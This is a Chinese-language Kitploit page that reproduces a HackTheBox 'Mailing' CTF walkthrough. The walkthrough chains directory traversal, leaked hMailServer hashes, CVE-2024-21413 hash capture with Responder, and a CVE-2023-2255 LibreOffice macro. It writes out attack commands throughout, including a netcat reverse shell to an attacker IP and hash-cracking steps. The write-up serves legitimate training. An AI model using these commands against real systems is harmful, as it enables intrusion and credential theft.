Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HTB-Mailing-A-Complete-Walkthrough — 如果你一直在刷 HackTheBox 的机器,Mailing 就是那种真正能让你学到东西的靶机之一。它被评为 Easy 难度,运行在 Windows 上,并且串联了几个真实世界的漏洞——一个目录遍历、一个凭据泄露、CVE-2024-21413,以及一个 LibreOffice 宏利用。让我们一步一步地过一遍。 | Kitploit
工具/GitHubGitHub/themursalin/htb-mailing-a-complete-walkthrough
密码破解权限提升侦察漏洞分析漏洞利用横向移动钓鱼攻击Web安全CTF渗透测试

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
学习与教育
GitHubthemursalin/htb-mailing-a-complete-walkthrough

HTB-Mailing-A-Complete-Walkthrough

如果你一直在刷 HackTheBox 的机器,Mailing 就是那种真正能让你学到东西的靶机之一。它被评为 Easy 难度,运行在 Windows 上,并且串联了几个真实世界的漏洞——一个目录遍历、一个凭据泄露、CVE-2024-21413,以及一个 LibreOffice 宏利用。让我们一步一步地过一遍。

查看仓库
4个月前尚未审核

HTB: Mailing —— 完整通关指南

作者:Mursalin


如果你一直在刷 HackTheBox 靶机,Mailing 就是那种真正能让你学到东西的机器之一。它被评为 Easy 难度,运行在 Windows 上,并且串联了几个真实世界的漏洞——目录遍历、凭据泄露、CVE-2024-21413,以及一个 LibreOffice 宏利用漏洞。让我们一步一步地过一遍。


信息收集

像往常一样,我们先用 nmap 扫描来了解我们要面对的东西:

root@kitploit:~
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14

扫描结果返回了相当多的开放端口。重点如下:

  • 端口 80 —— HTTP(重定向到 mailing.htb)
  • 端口 25、465、587 —— SMTP
  • 端口 110、993 —— POP3 / IMAP(由 hMailServer 提供)
  • 端口 445 —— SMB
  • 端口 5985 —— WinRM(如果我们最终拿到凭据,它会很有用)

操作系统指纹与 Windows 10 或 Server 2019 吻合,IIS 版本确认至少是 IIS 10。我还注意到 SMB 消息签名已启用但不是必需的——先记下来备用。

邮件端口分布广泛,但很可能需要凭据。80 端口上的 Web 服务器显然是最合适的起点。


Web 枚举

将 mailing.htb 添加到 /etc/hosts 后,这个站点看起来像一个基于 hMailServer 构建的邮件托管公司。表面上看没什么特别的——一个关于我们部分、一个包含三个名字(Ruy Alonso、Maya Bendito、Gregory Smith)的团队部分,以及一个“下载说明”按钮。

下载按钮指向:

root@kitploit:~
http://mailing.htb/download.php?file=instructions.pdf

这个 file= 参数立刻引起了怀疑。让我们测试一下。

我运行了 ffuf 检查子域名——没有发现什么有趣的东西。然后用 feroxbuster 进行目录暴力枚举,除了 download.php 之外也没有新的发现。所以我们把全部注意力都放在这一个端点上。


目录遍历 → 文件读取

测试 file 参数是否存在路径遍历:

root@kitploit:~
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts

结果成功了——我们拿到了 Windows 的 hosts 文件。这个应用实际上只是把我们提供的任意内容前面拼接一个基础路径,然后调用 file_get_contents()。没有过滤,没有任何限制。当我们直接读取 download.php 的源码时,这一点得到了证实:

root@kitploit:~
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
    echo file_get_contents($file_path);
}

现在我们在这台 Windows 机器上拥有了任意文件读取能力。让我们利用它。


泄露 hMailServer 管理员哈希

hMailServer 将其配置存储在 hMailServer.ini 中。经过一番研究,该文件位于:

root@kitploit:~
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini

通过我们的目录遍历读取它:

root@kitploit:~
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'

输出内容包括:

root@kitploit:~
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7

[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c

两个 MD5 哈希。我把它们丢进 CrackStation:

  • 841bb5acfa6779ae432fd7a4e6600ba7 → homenetworkingadministrator
  • 第二个哈希 → 未找到

这样我们就得到了 hMailServer 的管理员密码。尝试以 Windows 的 administrator 用户身份通过 SMB 进行验证失败——这不是本地账户密码,只是邮件服务的管理员密码。但它确实能够用于 SMTP 服务的身份验证,这正是我们需要的。


CVE-2024-21413 —— 通过 Windows Mail 钓鱼 Maya

现在我们需要以一个真实用户身份获取一个立足点。站点提到所使用的邮件客户端是 Windows Mail(根据安装说明 PDF)。是时候检查已知漏洞了。

CVE-2024-21413 是 Microsoft Outlook 和 Windows Mail 中的一个远程代码执行漏洞。该缺陷存在于客户端处理邮件正文中 file:// 协议 URL 的方式。通常情况下,不同协议会被施加安全限制。然而,研究人员发现,如果 URL 以 !anything 结尾,这些限制会被静默丢弃。当用户打开甚至预览包含此类链接的邮件时,客户端会自动尝试向攻击者的 SMB 服务器进行身份验证——从而交出 NetNTLMv2 哈希。

GitHub 上有一个由 xaitax 提供的可靠 PoC。我将其克隆下来,并用以下参数运行:

root@kitploit:~
python CVE-2024-21413.py \
  --server mailing.htb \
  --port 587 \
  --username [email protected] \
  --password homenetworkingadministrator \
  --sender [email protected] \
  --recipient [email protected] \
  --url "\\10.10.14.6\share\sploit" \
  --subject "Check this out ASAP!"

邮件发送成功。与此同时,我在攻击机上运行 Responder,以捕获传入的身份验证:

root@kitploit:~
sudo /opt/Responder/Responder.py -I tun0

大约一分钟后,Maya 的客户端打开了邮件,Responder 捕获了她的 NetNTLMv2 哈希。我用 hashcat 破解它:

root@kitploit:~
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt

密码已破解:m4y4ngs4ri


以 Maya 身份获得 Shell

使用 Maya 的凭据,我通过 Evil-WinRM 进行连接:

root@kitploit:~
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'

我们进来了。user 标志就放在 Maya 的桌面上。


权限提升 —— CVE-2023-2255(LibreOffice)

是时候寻找通往 root 的路径了。在系统中四处查看,发现有一个名为 Important Documents 的共享,并且安装了 LibreOffice。这强烈暗示着 CVE-2023-2255。

CVE-2023-2255 影响 7.4.7 和 7.5.3 之前的 LibreOffice 版本。它滥用了“浮动框架”——.odt 文档中链接的外部文件。该漏洞会导致这些框架在未征求用户许可的情况下加载,并且内容可以是一个在文档加载时执行的宏。

elweth-sec 提供的 PoC 会生成一个嵌入了 shell 命令的恶意 .odt。该文档结构在 content.xml 中嵌入了一个 <script> 标签,LibreOffice 一打开文件它就会触发。

我生成一个反向 Shell 负载:

root@kitploit:~
python /opt/CVE-2023-2255/CVE-2023-2255.py \
  --cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe 10.10.14.6 443' \
  --output exploit.odt

然后使用 Maya 的凭据将 .odt 文件和 nc64.exe 上传到 Important Documents SMB 共享:

root@kitploit:~
smbclient '//10.10.11.14/important documents' --user maya --password m4y4ngs4ri
smb: \> put exploit.odt
smb: \> put nc64.exe

在 Maya 的 WinRM shell 中,我将 nc64.exe 复制到 C:\ProgramData,以便宏能够找到它:

root@kitploit:~
copy "\Important Documents\nc64.exe" nc64.exe

一两分钟后,机器上的某个东西打开了文档(很可能是一个自动化的计划任务),我在 netcat 监听器上捕获到了一个 shell:

root@kitploit:~
rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.14
Microsoft Windows [Version 10.0.19045.4355]

C:\Program Files\LibreOffice\program> whoami
mailing\localadmin

我们正以 localadmin 身份运行——root 标志就在桌面上。


额外内容:非预期路径(补丁之前)

这台机器在 2024 年 5 月 15 日被打上了补丁——发布后仅 11 天——因为最初的 download.php 实际上使用的是 PHP 的 include(),而不是 file_get_contents()。这把单纯的文件读取变成了一次完整的本地文件包含(LFI)漏洞,意味着可读文件中的任何 PHP 代码都会被执行。

非预期路径是污染 hMailServer 的 SMTP 日志(通过 telnet 连接并在 HELO 命令中注入 PHP),然后通过 LFI 包含该日志文件,以 defaultapppool 身份实现代码执行。从那里开始,SeImpersonatePrivilege + GodPotato = SYSTEM。一条完全不同的通往 root 的路径。


总结

Mailing 的攻击链如下:

  1. 通过 download.php 中的目录遍历实现文件读取
  2. 从 hMailServer.ini 中泄露凭据 → 破解 MD5 管理员哈希
  3. CVE-2024-21413 → 钓鱼 Maya,捕获并破解她的 NetNTLMv2 哈希
  4. 使用破解的凭据以 Maya 身份获得 WinRM shell
  5. CVE-2023-2255 → 将恶意 LibreOffice 文档放入被监视的共享目录 → 以 localadmin 身份获得 shell

这台机器在将真实 CVE 串联起来这方面做得非常出色,而且显得真实可信。利用步骤并不算太复杂,但你需要理解自己在每个阶段所做的操作。如果你正在备考 OSCP,这绝对是一个值得重新演练的靶机。


感谢阅读!在 Medium 上关注我,获取更多 HTB 文章和 CTF 内容。

—— Mursalin

下载工具